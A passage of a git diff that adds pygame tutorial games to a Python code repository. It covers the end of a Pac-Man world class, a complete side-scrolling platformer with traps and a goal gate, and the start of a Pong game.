+					self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True))
+		time.sleep(2)
+
+
+	def restart_level(self):
+		self.berries.empty()
+		[ghost.move_to_start_pos() for ghost in self.ghosts.sprites()]
+		self.game_level = 1
+		self.player.sprite.pac_score = 0
+		self.player.sprite.life = 3
+		self.player.sprite.move_to_start_pos()
+		self.player.sprite.direction = (0, 0)
+		self.player.sprite.status = "idle"
+		self.generate_new_level()
+
+
+	# displays nav
+	def _dashboard(self):
+		nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_HEIGHT)
+		pygame.draw.rect(self.screen, pygame.Color("cornsilk4"), nav)
+		
+		self.display.show_life(self.player.sprite.life)
+		self.display.show_level(self.game_level)
+		self.display.show_score(self.player.sprite.pac_score)
+
+
+	def _check_game_state(self):
+		# checks if game over
+		if self.player.sprite.life == 0:
+			self.game_over = True
+
+		# generates new level
+		if len(self.berries) == 0 and self.player.sprite.life > 0:
+			self.game_level += 1
+			for ghost in self.ghosts.sprites():
+				ghost.move_speed += self.game_level
+				ghost.move_to_start_pos()
+
+			self.player.sprite.move_to_start_pos()
+			self.player.sprite.direction = (0, 0)
+			self.player.sprite.status = "idle"
+			self.generate_new_level()
+
+
+	def update(self):
+		if not self.game_over:
+			# player movement
+			pressed_key = pygame.key.get_pressed()
+			self.player.sprite.animate(pressed_key, self.walls_collide_list)
+
+			# teleporting to the other side of the map
+			if self.player.sprite.rect.right <= 0:
+				self.player.sprite.rect.x = WIDTH
+			elif self.player.sprite.rect.left >= WIDTH:
+				self.player.sprite.rect.x = 0
+
+			# PacMan eating-berry effect
+			for berry in self.berries.sprites():
+				if self.player.sprite.rect.colliderect(berry.rect):
+					if berry.power_up:
+						self.player.sprite.immune_time = 150 # Timer based from FPS count
+						self.player.sprite.pac_score += 50
+					else:
+						self.player.sprite.pac_score += 10
+					berry.kill()
+
+			# PacMan bumping into ghosts
+			for ghost in self.ghosts.sprites():
+				if self.player.sprite.rect.colliderect(ghost.rect):
+					if not self.player.sprite.immune:
+						time.sleep(2)
+						self.player.sprite.life -= 1
+						self.reset_pos = True
+						break
+					else:
+						ghost.move_to_start_pos()
+						self.player.sprite.pac_score += 100
+
+		self._check_game_state()
+
+		# rendering
+		[wall.update(self.screen) for wall in self.walls.sprites()]
+		[berry.update(self.screen) for berry in self.berries.sprites()]
+		[ghost.update(self.walls_collide_list) for ghost in self.ghosts.sprites()]
+		self.ghosts.draw(self.screen)
+
+		self.player.update()
+		self.player.draw(self.screen)
+		self.display.game_over() if self.game_over else None
+
+		self._dashboard()
+
+		# reset Pac and Ghosts position after PacMan get captured
+		if self.reset_pos and not self.game_over:
+			[ghost.move_to_start_pos() for ghost in self.ghosts.sprites()]
+			self.player.sprite.move_to_start_pos()
+			self.player.sprite.status = "idle"
+			self.player.sprite.direction = (0,0)
+			self.reset_pos = False
+
+		# for restart button
+		if self.game_over:
+			pressed_key = pygame.key.get_pressed()
+			if pressed_key[pygame.K_r]:
+				self.game_over = False
+				self.restart_level()
\ No newline at end of file
diff --git a/gui-programming/platformer-game/README.Md b/gui-programming/platformer-game/README.Md
new file mode 100644
index 00000000..fb346961
--- /dev/null
+++ b/gui-programming/platformer-game/README.Md
@@ -0,0 +1 @@
+# [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python)
\ No newline at end of file
diff --git a/gui-programming/platformer-game/assets/goal/gate.png b/gui-programming/platformer-game/assets/goal/gate.png
new file mode 100644
index 00000000..c088b640
Binary files /dev/null and b/gui-programming/platformer-game/assets/goal/gate.png differ
diff --git a/gui-programming/platformer-game/assets/life/life.png b/gui-programming/platformer-game/assets/life/life.png
new file mode 100644
index 00000000..da08d810
Binary files /dev/null and b/gui-programming/platformer-game/assets/life/life.png differ
diff --git a/gui-programming/platformer-game/assets/player/fall/0.png b/gui-programming/platformer-game/assets/player/fall/0.png
new file mode 100644
index 00000000..1beedac8
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/fall/0.png differ
diff --git a/gui-programming/platformer-game/assets/player/idle/0.png b/gui-programming/platformer-game/assets/player/idle/0.png
new file mode 100644
index 00000000..e5cc59e7
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/idle/0.png differ
diff --git a/gui-programming/platformer-game/assets/player/jump/0.png b/gui-programming/platformer-game/assets/player/jump/0.png
new file mode 100644
index 00000000..e3cdfcb6
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/jump/0.png differ
diff --git a/gui-programming/platformer-game/assets/player/jump/1.png b/gui-programming/platformer-game/assets/player/jump/1.png
new file mode 100644
index 00000000..55c733eb
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/jump/1.png differ
diff --git a/gui-programming/platformer-game/assets/player/lose/0.png b/gui-programming/platformer-game/assets/player/lose/0.png
new file mode 100644
index 00000000..1beedac8
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/lose/0.png differ
diff --git a/gui-programming/platformer-game/assets/player/lose/1.png b/gui-programming/platformer-game/assets/player/lose/1.png
new file mode 100644
index 00000000..cdb553f9
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/lose/1.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/0.png b/gui-programming/platformer-game/assets/player/walk/0.png
new file mode 100644
index 00000000..cba1de44
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/0.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/1.png b/gui-programming/platformer-game/assets/player/walk/1.png
new file mode 100644
index 00000000..11fc0cd4
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/1.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/2.png b/gui-programming/platformer-game/assets/player/walk/2.png
new file mode 100644
index 00000000..2cde8e82
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/2.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/3.png b/gui-programming/platformer-game/assets/player/walk/3.png
new file mode 100644
index 00000000..e58fe217
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/3.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/4.png b/gui-programming/platformer-game/assets/player/walk/4.png
new file mode 100644
index 00000000..edcafbe8
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/4.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/5.png b/gui-programming/platformer-game/assets/player/walk/5.png
new file mode 100644
index 00000000..f5a678af
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/5.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/6.png b/gui-programming/platformer-game/assets/player/walk/6.png
new file mode 100644
index 00000000..24b5faff
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/6.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/7.png b/gui-programming/platformer-game/assets/player/walk/7.png
new file mode 100644
index 00000000..adc49702
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/7.png differ
diff --git a/gui-programming/platformer-game/assets/player/walk/8.png b/gui-programming/platformer-game/assets/player/walk/8.png
new file mode 100644
index 00000000..e5cc59e7
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/8.png differ
diff --git a/gui-programming/platformer-game/assets/player/win/0.png b/gui-programming/platformer-game/assets/player/win/0.png
new file mode 100644
index 00000000..bb386107
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/0.png differ
diff --git a/gui-programming/platformer-game/assets/player/win/1.png b/gui-programming/platformer-game/assets/player/win/1.png
new file mode 100644
index 00000000..18ce2a83
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/1.png differ
diff --git a/gui-programming/platformer-game/assets/player/win/2.png b/gui-programming/platformer-game/assets/player/win/2.png
new file mode 100644
index 00000000..391fdaf1
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/2.png differ
diff --git a/gui-programming/platformer-game/assets/player/win/3.png b/gui-programming/platformer-game/assets/player/win/3.png
new file mode 100644
index 00000000..9dfae1c2
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/3.png differ
diff --git a/gui-programming/platformer-game/assets/player/win/4.png b/gui-programming/platformer-game/assets/player/win/4.png
new file mode 100644
index 00000000..89bbc3c6
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/4.png differ
diff --git a/gui-programming/platformer-game/assets/player/win/5.png b/gui-programming/platformer-game/assets/player/win/5.png
new file mode 100644
index 00000000..ad84b5b6
Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/5.png differ
diff --git a/gui-programming/platformer-game/assets/terrain/bg.jpg b/gui-programming/platformer-game/assets/terrain/bg.jpg
new file mode 100644
index 00000000..15bba24a
Binary files /dev/null and b/gui-programming/platformer-game/assets/terrain/bg.jpg differ
diff --git a/gui-programming/platformer-game/assets/terrain/stone.jpg b/gui-programming/platformer-game/assets/terrain/stone.jpg
new file mode 100644
index 00000000..f127c1f9
Binary files /dev/null and b/gui-programming/platformer-game/assets/terrain/stone.jpg differ
diff --git a/gui-programming/platformer-game/assets/trap/blade/0.png b/gui-programming/platformer-game/assets/trap/blade/0.png
new file mode 100644
index 00000000..22411d28
Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/0.png differ
diff --git a/gui-programming/platformer-game/assets/trap/blade/1.png b/gui-programming/platformer-game/assets/trap/blade/1.png
new file mode 100644
index 00000000..37d1f3a9
Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/1.png differ
diff --git a/gui-programming/platformer-game/assets/trap/blade/2.png b/gui-programming/platformer-game/assets/trap/blade/2.png
new file mode 100644
index 00000000..805e6708
Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/2.png differ
diff --git a/gui-programming/platformer-game/assets/trap/blade/3.png b/gui-programming/platformer-game/assets/trap/blade/3.png
new file mode 100644
index 00000000..64ebdf93
Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/3.png differ
diff --git a/gui-programming/platformer-game/assets/trap/blade/4.png b/gui-programming/platformer-game/assets/trap/blade/4.png
new file mode 100644
index 00000000..9fd71209
Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/4.png differ
diff --git a/gui-programming/platformer-game/assets/trap/blade/5.png b/gui-programming/platformer-game/assets/trap/blade/5.png
new file mode 100644
index 00000000..c3de8ed3
Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/5.png differ
diff --git a/gui-programming/platformer-game/assets/trap/blade/6.png b/gui-programming/platformer-game/assets/trap/blade/6.png
new file mode 100644
index 00000000..e1db7b76
Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/6.png differ
diff --git a/gui-programming/platformer-game/assets/trap/blade/7.png b/gui-programming/platformer-game/assets/trap/blade/7.png
new file mode 100644
index 00000000..76045356
Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/7.png differ
diff --git a/gui-programming/platformer-game/game.py b/gui-programming/platformer-game/game.py
new file mode 100644
index 00000000..ba7e4ab1
--- /dev/null
+++ b/gui-programming/platformer-game/game.py
@@ -0,0 +1,43 @@
+import pygame
+from settings import HEIGHT, WIDTH
+
+pygame.font.init()
+
+class Game:
+	def __init__(self, screen):
+		self.screen = screen
+		self.font = pygame.font.SysFont("impact", 70)
+		self.message_color = pygame.Color("darkorange")
+
+	# if player ran out of life or fell below the platform
+	def _game_lose(self, player):
+		player.game_over = True
+		message = self.font.render('You Lose...', True, self.message_color)
+		self.screen.blit(message,(WIDTH // 3 + 70, 70))
+
+	# if player reach the goal
+	def _game_win(self, player):
+		player.game_over = True
+		player.win = True
+		message = self.font.render('You Win!!', True, self.message_color)
+		self.screen.blit(message,(WIDTH // 3, 70))
+
+	# checks if the game is over or not, and if win or lose
+	def game_state(self, player, goal):
+		if player.life <= 0 or player.rect.y >= HEIGHT:
+			self._game_lose(player)
+		elif player.rect.colliderect(goal.rect):
+			self._game_win(player)
+		else:
+			None
+
+	def show_life(self, player):
+		life_size = 30
+		img_path = "assets/life/life.png"
+		life_image = pygame.image.load(img_path)
+		life_image = pygame.transform.scale(life_image, (life_size, life_size))
+		# life_rect = life_image.get_rect(topleft = pos)
+		indent = 0
+		for life in range(player.life):
+			indent += life_size
+			self.screen.blit(life_image, (indent, life_size))
\ No newline at end of file
diff --git a/gui-programming/platformer-game/goal.py b/gui-programming/platformer-game/goal.py
new file mode 100644
index 00000000..419e66a4
--- /dev/null
+++ b/gui-programming/platformer-game/goal.py
@@ -0,0 +1,13 @@
+import pygame
+
+class Goal(pygame.sprite.Sprite):
+	def __init__(self, pos, size):
+		super().__init__()
+		img_path = 'assets/goal/gate.png'
+		self.image = pygame.image.load(img_path)
+		self.image = pygame.transform.scale(self.image, (size, size))
+		self.rect = self.image.get_rect(topleft = pos)
+
+	# update object position due to world scroll
+	def update(self, x_shift):
+		self.rect.x += x_shift
\ No newline at end of file
diff --git a/gui-programming/platformer-game/main.py b/gui-programming/platformer-game/main.py
new file mode 100644
index 00000000..ac01a83c
--- /dev/null
+++ b/gui-programming/platformer-game/main.py
@@ -0,0 +1,46 @@
+import pygame, sys
+from settings import *
+from world import World
+
+pygame.init()
+
+screen = pygame.display.set_mode((WIDTH, HEIGHT))
+pygame.display.set_caption("Platformer")
+
+class Platformer:
+	def __init__(self, screen, width, height):
+		self.screen = screen
+		self.clock = pygame.time.Clock()
+		self.player_event = False
+
+		self.bg_img = pygame.image.load('assets/terrain/bg.jpg')
+		self.bg_img = pygame.transform.scale(self.bg_img, (width, height))
+
+	def main(self):
+		world = World(world_map, self.screen)
+		while True:
+			self.screen.blit(self.bg_img, (0, 0))
+
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					pygame.quit()
+					sys.exit()
+
+				elif event.type == pygame.KEYDOWN:
+					if event.key == pygame.K_LEFT:
+						self.player_event = "left"
+					if event.key == pygame.K_RIGHT:
+						self.player_event = "right"
+					if event.key == pygame.K_SPACE:
+						self.player_event = "space"
+				elif event.type == pygame.KEYUP:
+					self.player_event = False
+
+			world.update(self.player_event)
+			pygame.display.update()
+			self.clock.tick(60)
+
+
+if __name__ == "__main__":
+	play = Platformer(screen, WIDTH, HEIGHT)
+	play.main()
\ No newline at end of file
diff --git a/gui-programming/platformer-game/player.py b/gui-programming/platformer-game/player.py
new file mode 100644
index 00000000..8f614ca3
--- /dev/null
+++ b/gui-programming/platformer-game/player.py
@@ -0,0 +1,115 @@
+import pygame
+from support import import_sprite
+
+class Player(pygame.sprite.Sprite):
+	def __init__(self, pos):
+		super().__init__()
+		self._import_character_assets()
+		self.frame_index = 0
+		self.animation_speed = 0.15
+		self.image = self.animations["idle"][self.frame_index]
+		self.rect = self.image.get_rect(topleft = pos)
+		self.mask = pygame.mask.from_surface(self.image)
+
+		# player movement
+		self.direction = pygame.math.Vector2(0, 0)
+		self.speed = 5
+		self.jump_move = -16
+
+		# player status
+		self.life = 5
+		self.game_over = False
+		self.win = False
+		self.status = "idle"
+		self.facing_right = True
+		self.on_ground = False
+		self.on_ceiling = False
+		self.on_left = False
+		self.on_right = False
+
+	# gets all the image needed for animating specific player action
+	def _import_character_assets(self):
+		character_path = "assets/player/"
+		self.animations = {
+			"idle": [],
+			"walk": [],
+			"jump": [],
+			"fall": [],
+			"lose": [],
+			"win": []
+		}
+		for animation in self.animations.keys():
+			full_path = character_path + animation
+			self.animations[animation] = import_sprite(full_path)
+
+	# animates the player actions
+	def _animate(self):
+		animation = self.animations[self.status]
+
+		# loop over frame index
+		self.frame_index += self.animation_speed
+		if self.frame_index >= len(animation):
+			self.frame_index = 0
+		image = animation[int(self.frame_index)]
+		image = pygame.transform.scale(image, (35, 50))
+		if self.facing_right:
+			self.image = image
+		else:
+			flipped_image = pygame.transform.flip(image, True, False)
+			self.image = flipped_image
+
+		# set the rect
+		if self.on_ground and self.on_right:
+			self.rect = self.image.get_rect(bottomright = self.rect.bottomright)
+		elif self.on_ground and self.on_left:
+			self.rect = self.image.get_rect(bottomleft = self.rect.bottomleft)
+		elif self.on_ground:
+			self.rect = self.image.get_rect(midbottom = self.rect.midbottom)
+		elif self.on_ceiling and self.on_right:
+			self.rect = self.image.get_rect(topright = self.rect.topright)
+		elif self.on_ceiling and self.on_left:
+			self.rect = self.image.get_rect(bottomleft = self.rect.topleft)
+		elif self.on_ceiling:
+			self.rect = self.image.get_rect(midtop = self.rect.midtop)
+
+	# checks if the player is moving towards left or right or not moving
+	def _get_input(self, player_event):
+		if player_event != False:
+			if player_event == "right":
+				self.direction.x = 1
+				self.facing_right = True
+			elif player_event == "left":
+				self.direction.x = -1
+				self.facing_right = False
+		else:
+			self.direction.x = 0
+
+	def _jump(self):
+		self.direction.y = self.jump_move
+
+	# identifies player action
+	def _get_status(self):
+		if self.direction.y < 0:
+			self.status = "jump"
+		elif self.direction.y > 1:
+			self.status = "fall"
+		elif self.direction.x != 0:
+			self.status = "walk"
+		else:
+			self.status = "idle"
+
+	# update the player's state
+	def update(self, player_event):
+		self._get_status()
+		if self.life > 0 and not self.game_over:
+			if player_event == "space" and self.on_ground:
+				self._jump()
+			else:
+				self._get_input(player_event)
+		elif self.game_over and self.win:
+			self.direction.x = 0
+			self.status = "win"
+		else:
+			self.direction.x = 0
+			self.status = "lose"
+		self._animate()
diff --git a/gui-programming/platformer-game/requirements.txt b/gui-programming/platformer-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/platformer-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/platformer-game/settings.py b/gui-programming/platformer-game/settings.py
new file mode 100644
index 00000000..dd578461
--- /dev/null
+++ b/gui-programming/platformer-game/settings.py
@@ -0,0 +1,15 @@
+world_map = [
+	'                                                                  ',
+	'                                                                  ',
+	'                t  t                                              ',
+	'        X     XXXXXXXXXs                   XX   X                 ',
+	' tXXXt     XX         XX                XXXX tt XX                ',
+	' XX XX                                      XXXXX                 ',
+	'          Xt    t           t  t   X                            G ',
+	'        XXXXXX  XXXXs    XXXXXXXXXXX  XX              tt t     XXX',
+	' P   XX  X XX X  X XXXt     X XX  XX  XXX  XXXXXXXXs  XXXXXX      ',
+	'XXXXXXX  X  X X  X  XXXXXXXXX XX  XX  XXX  XX XX XXXXXXX  X       ',
+]
+
+tile_size = 50
+WIDTH, HEIGHT = 1000, len(world_map) * tile_size
\ No newline at end of file
diff --git a/gui-programming/platformer-game/support.py b/gui-programming/platformer-game/support.py
new file mode 100644
index 00000000..d0e297b5
--- /dev/null
+++ b/gui-programming/platformer-game/support.py
@@ -0,0 +1,11 @@
+from os import walk
+import pygame
+
+def import_sprite(path):
+	surface_list = []
+	for _, __, img_file in walk(path):
+		for image in img_file:
+			full_path = f"{path}/{image}"
+			img_surface = pygame.image.load(full_path).convert_alpha()
+			surface_list.append(img_surface)
+	return surface_list
\ No newline at end of file
diff --git a/gui-programming/platformer-game/tile.py b/gui-programming/platformer-game/tile.py
new file mode 100644
index 00000000..7e3ec1ec
--- /dev/null
+++ b/gui-programming/platformer-game/tile.py
@@ -0,0 +1,13 @@
+import pygame
+
+class Tile(pygame.sprite.Sprite):
+	def __init__(self, pos, size):
+		super().__init__()
+		img_path = 'assets/terrain/stone.jpg'
+		self.image = pygame.image.load(img_path)
+		self.image = pygame.transform.scale(self.image, (size, size))
+		self.rect = self.image.get_rect(topleft = pos)
+
+	# update object position due to world scroll
+	def update(self, x_shift):
+		self.rect.x += x_shift
\ No newline at end of file
diff --git a/gui-programming/platformer-game/trap.py b/gui-programming/platformer-game/trap.py
new file mode 100644
index 00000000..45034c1f
--- /dev/null
+++ b/gui-programming/platformer-game/trap.py
@@ -0,0 +1,29 @@
+import pygame
+from support import import_sprite
+
+class Trap(pygame.sprite.Sprite):
+	def __init__(self, pos, size):
+		super().__init__()
+		self.blade_img = import_sprite("assets/trap/blade")
+		self.frame_index = 0
+		self.animation_delay = 3
+		self.image = self.blade_img[self.frame_index]
+		self.image = pygame.transform.scale(self.image, (size, size))
+		self.mask = pygame.mask.from_surface(self.image)
+		self.rect = self.image.get_rect(topleft = pos)
+
+	# adds the spinning effect to the Blade trap
+	def _animate(self):
+		sprites = self.blade_img
+		sprite_index = (self.frame_index // self.animation_delay) % len(sprites)
+		self.image = sprites[sprite_index]
+		self.frame_index += 1
+		self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y))
+		self.mask = pygame.mask.from_surface(self.image)
+		if self.frame_index // self.animation_delay > len(sprites):
+			self.frame_index = 0
+
+	# update object position due to world scroll
+	def update(self, x_shift):
+		self._animate()
+		self.rect.x += x_shift
diff --git a/gui-programming/platformer-game/world.py b/gui-programming/platformer-game/world.py
new file mode 100644
index 00000000..3d78bc0d
--- /dev/null
+++ b/gui-programming/platformer-game/world.py
@@ -0,0 +1,143 @@
+import pygame
+from settings import tile_size, WIDTH
+from tile import Tile
+from trap import Trap
+from goal import Goal
+from player import Player
+from game import Game
+
+class World:
+	def __init__(self, world_data, screen):
+		self.screen = screen
+		self.world_data = world_data
+		self._setup_world(world_data)
+		self.world_shift = 0
+		self.current_x = 0
+		self.gravity = 0.7
+		self.game = Game(self.screen)
+
+	# generates the world
+	def _setup_world(self, layout):
+		self.tiles = pygame.sprite.Group()
+		self.traps = pygame.sprite.Group()
+		self.player = pygame.sprite.GroupSingle()
+		self.goal = pygame.sprite.GroupSingle()
+
+		for row_index, row in enumerate(layout):
+			for col_index, cell in enumerate(row):
+				x, y = col_index * tile_size, row_index * tile_size
+				if cell == "X":
+					tile = Tile((x, y), tile_size)
+					self.tiles.add(tile)
+				elif cell == "t":
+					tile = Trap((x + (tile_size // 4), y + (tile_size // 4)), tile_size // 2)
+					self.traps.add(tile)
+				elif cell == "P":
+					player_sprite = Player((x, y))
+					self.player.add(player_sprite)
+				elif cell == "G":
+					goal_sprite = Goal((x, y), tile_size)
+					self.goal.add(goal_sprite)
+
+	# world scroll when the player is walking towards left/right
+	def _scroll_x(self):
+		player = self.player.sprite
+		player_x = player.rect.centerx
+		direction_x = player.direction.x
+
+		if player_x < WIDTH // 3 and direction_x < 0:
+			self.world_shift = 8
+			player.speed = 0
+		elif player_x > WIDTH - (WIDTH // 3) and direction_x > 0:
+			self.world_shift = -8
+			player.speed = 0
+		else:
+			self.world_shift = 0
+			player.speed = 3
+
+	# add gravity for player to fall
+	def _apply_gravity(self, player):
+		player.direction.y += self.gravity
+		player.rect.y += player.direction.y
+
+	# prevents player to pass through objects horizontally
+	def _horizontal_movement_collision(self):
+		player = self.player.sprite
+		player.rect.x += player.direction.x * player.speed
+
+		for sprite in self.tiles.sprites():
+			if sprite.rect.colliderect(player.rect):
+				# checks if moving towards left
+				if player.direction.x < 0:
+					player.rect.left = sprite.rect.right
+					player.on_left = True
+					self.current_x = player.rect.left
+				# checks if moving towards right
+				elif player.direction.x > 0:
+					player.rect.right = sprite.rect.left
+					player.on_right = True
+					self.current_x = player.rect.right
+		if player.on_left and (player.rect.left < self.current_x or player.direction.x >= 0):
+			player.on_left = False
+		if player.on_right and (player.rect.right > self.current_x or player.direction.x <= 0):
+			player.on_right = False
+
+	# prevents player to pass through objects vertically
+	def _vertical_movement_collision(self):
+		player = self.player.sprite
+		self._apply_gravity(player)
+
+		for sprite in self.tiles.sprites():
+			if sprite.rect.colliderect(player.rect):
+				# checks if moving towards bottom
+				if player.direction.y > 0:
+					player.rect.bottom = sprite.rect.top
+					player.direction.y = 0
+					player.on_ground = True
+				# checks if moving towards up
+				elif player.direction.y < 0:
+					player.rect.top = sprite.rect.bottom
+					player.direction.y = 0
+					player.on_ceiling = True
+		if player.on_ground and player.direction.y < 0 or player.direction.y > 1:
+			player.on_ground = False
+		if player.on_ceiling and player.direction.y > 0:
+			player.on_ceiling = False
+
+	# add consequences when player run through traps
+	def _handle_traps(self):
+		player = self.player.sprite
+
+		for sprite in self.traps.sprites():
+			if sprite.rect.colliderect(player.rect):
+				if player.direction.x < 0 or player.direction.y > 0:
+					player.rect.x += tile_size
+				elif player.direction.x > 0 or player.direction.y > 0:
+					player.rect.x -= tile_size
+				player.life -= 1
+
+	# updating the game world from all changes commited
+	def update(self, player_event):
+		# for tile
+		self.tiles.update(self.world_shift)
+		self.tiles.draw(self.screen)
+
+		# for trap
+		self.traps.update(self.world_shift)
+		self.traps.draw(self.screen)
+
+		# for goal
+		self.goal.update(self.world_shift)
+		self.goal.draw(self.screen)
+
+		self._scroll_x()
+
+		# for player
+		self._horizontal_movement_collision()
+		self._vertical_movement_collision()
+		self._handle_traps()
+		self.player.update(player_event)
+		self.game.show_life(self.player.sprite)
+		self.player.draw(self.screen)
+
+		self.game.game_state(self.player.sprite, self.goal.sprite)
diff --git a/gui-programming/pong-game/README.md b/gui-programming/pong-game/README.md
new file mode 100644
index 00000000..fac7a789
--- /dev/null
+++ b/gui-programming/pong-game/README.md
@@ -0,0 +1 @@
+# [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python)
\ No newline at end of file
diff --git a/gui-programming/pong-game/ball.py b/gui-programming/pong-game/ball.py
new file mode 100644
index 00000000..7a069cb7
--- /dev/null
+++ b/gui-programming/pong-game/ball.py
@@ -0,0 +1,42 @@
+import pygame, sys
+import random
+from settings import WIDTH, HEIGHT
+
+pygame.init()
+
+class Ball:
+	def __init__(self, x, y, radius):
+		self.x = x
+		self.y = y
+		self.radius = radius
+		self.rect = pygame.Rect(self.x, self.y, radius, radius)
+		self.color = pygame.Color("red")
+		self.direction = None
+		self.speed_x = 0
+		self.speed_y = 0
+		self._random_direction()
+
+	def _random_direction(self):
+		direction = ("right", "left")
+		self.direction = random.choice(direction)
+
+	def _ball_movement(self):
+		# horizontal handling
+		if self.direction == "right":
+			self.speed_x = 18
+		else:
+			self.speed_x = -18
+
+		# vertical handling
+		if self.rect.y >= HEIGHT - self.radius:
+			self.speed_y = -18
+		elif self.rect.y <= 0 + self.radius:
+			self.speed_y = 18
+
+		# wall bounce handling
+		self.rect.x += self.speed_x
+		self.rect.y += self.speed_y
+
+	def update(self, screen):
+		self._ball_movement()
+		pygame.draw.rect(screen, self.color, self.rect)
\ No newline at end of file
diff --git a/gui-programming/pong-game/main.py b/gui-programming/pong-game/main.py
new file mode 100644
index 00000000..c4913973
--- /dev/null
+++ b/gui-programming/pong-game/main.py
@@ -0,0 +1,37 @@
+import pygame, sys
+from settings import WIDTH, HEIGHT
+from table import Table
+
+pygame.init()
+
+screen = pygame.display.set_mode((WIDTH, HEIGHT))
+pygame.display.set_caption("Ping Pong")
+
+class Pong:
+	def __init__(self, screen):
+		self.screen = screen
+		self.FPS = pygame.time.Clock()
+
+	def draw(self):
+		pygame.display.flip()
+
+	def main(self):
+		# start menu here
+		table = Table(self.screen)  # pass to table the player_option saved to table.game_mode
+		while True:
+			self.screen.fill("black")
+
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					pygame.quit()
+					sys.exit()
+
+			table.player_move()
+			table.update()
+			self.draw()
+			self.FPS.tick(30)
+
+
+if __name__ == "__main__":
+	play = Pong(screen)
+	play.main()
\ No newline at end of file
diff --git a/gui-programming/pong-game/player.py b/gui-programming/pong-game/player.py
new file mode 100644
index 00000000..34004715
--- /dev/null
+++ b/gui-programming/pong-game/player.py
@@ -0,0 +1,20 @@
+import pygame
+
+class Player:
+	def __init__(self, x, y, width, height):
+		self.x = x
+		self.y = y
+		self.rect = pygame.Rect(self.x, self.y, width, height)
+		self.color = pygame.Color("gray")
+		self.player_speed = 16
+	
+		self.score = 0
+
+	def move_up(self):
+		self.rect.y -= self.player_speed
+
+	def move_bottom(self):
+		self.rect.y += self.player_speed
+
+	def update(self, screen):
+		pygame.draw.rect(screen, self.color, self.rect)
\ No newline at end of file
diff --git a/gui-programming/pong-game/requirements.txt b/gui-programming/pong-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/pong-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/pong-game/settings.py b/gui-programming/pong-game/settings.py
new file mode 100644
index 00000000..7fad2059
--- /dev/null
+++ b/gui-programming/pong-game/settings.py
@@ -0,0 +1,3 @@
+WIDTH, HEIGHT = 990, 450
+
+player_width, player_height  = 20, 90
\ No newline at end of file
diff --git a/gui-programming/pong-game/table.py b/gui-programming/pong-game/table.py
new file mode 100644
index 00000000..877d2275
--- /dev/null
+++ b/gui-programming/pong-game/table.py
@@ -0,0 +1,94 @@
+import pygame, time
+import sys
+from player import Player
+from ball import Ball
+from settings import WIDTH, HEIGHT, player_width, player_height
+
+class Table:
+	def __init__(self, screen):
+		self.screen = screen
+		self.game_over = False
+		self.score_limit = 10
+		self.winner = None
+		self._generate_world()
+
+		# text info
+		self.font = pygame.font.SysFont('Bauhaus 93', 60)
+		self.inst_font = pygame.font.SysFont('Bauhaus 93', 30)
+		self.color = pygame.Color("white")
+
+	# create and add player to the screen
+	def _generate_world(self):
+		self.playerA = Player(0, HEIGHT // 2 - (player_height // 2), player_width, player_height)
+		self.playerB = Player(WIDTH - player_width,  HEIGHT // 2 - (player_height // 2), player_width, player_height)
+		self.ball = Ball(WIDTH // 2 - player_width, HEIGHT - player_width, player_width)
+
+	def _ball_hit(self):
+		# if ball is not hit by a player and pass through table sides
+		if self.ball.rect.left >= WIDTH:
+			self.playerA.score += 1
+			self.ball.rect.x = WIDTH // 2
+			time.sleep(1)
+		elif self.ball.rect.right <= 0:
+			self.playerB.score += 1
+			self.ball.rect.x = WIDTH // 2
+			time.sleep(1)
+
+		# if ball land in the player
+		if pygame.Rect.colliderect(self.ball.rect, self.playerA.rect):
+			self.ball.direction = "right"
+		if pygame.Rect.colliderect(self.ball.rect, self.playerB.rect):
+			self.ball.direction = "left"
+
+	def _bot_opponent(self):
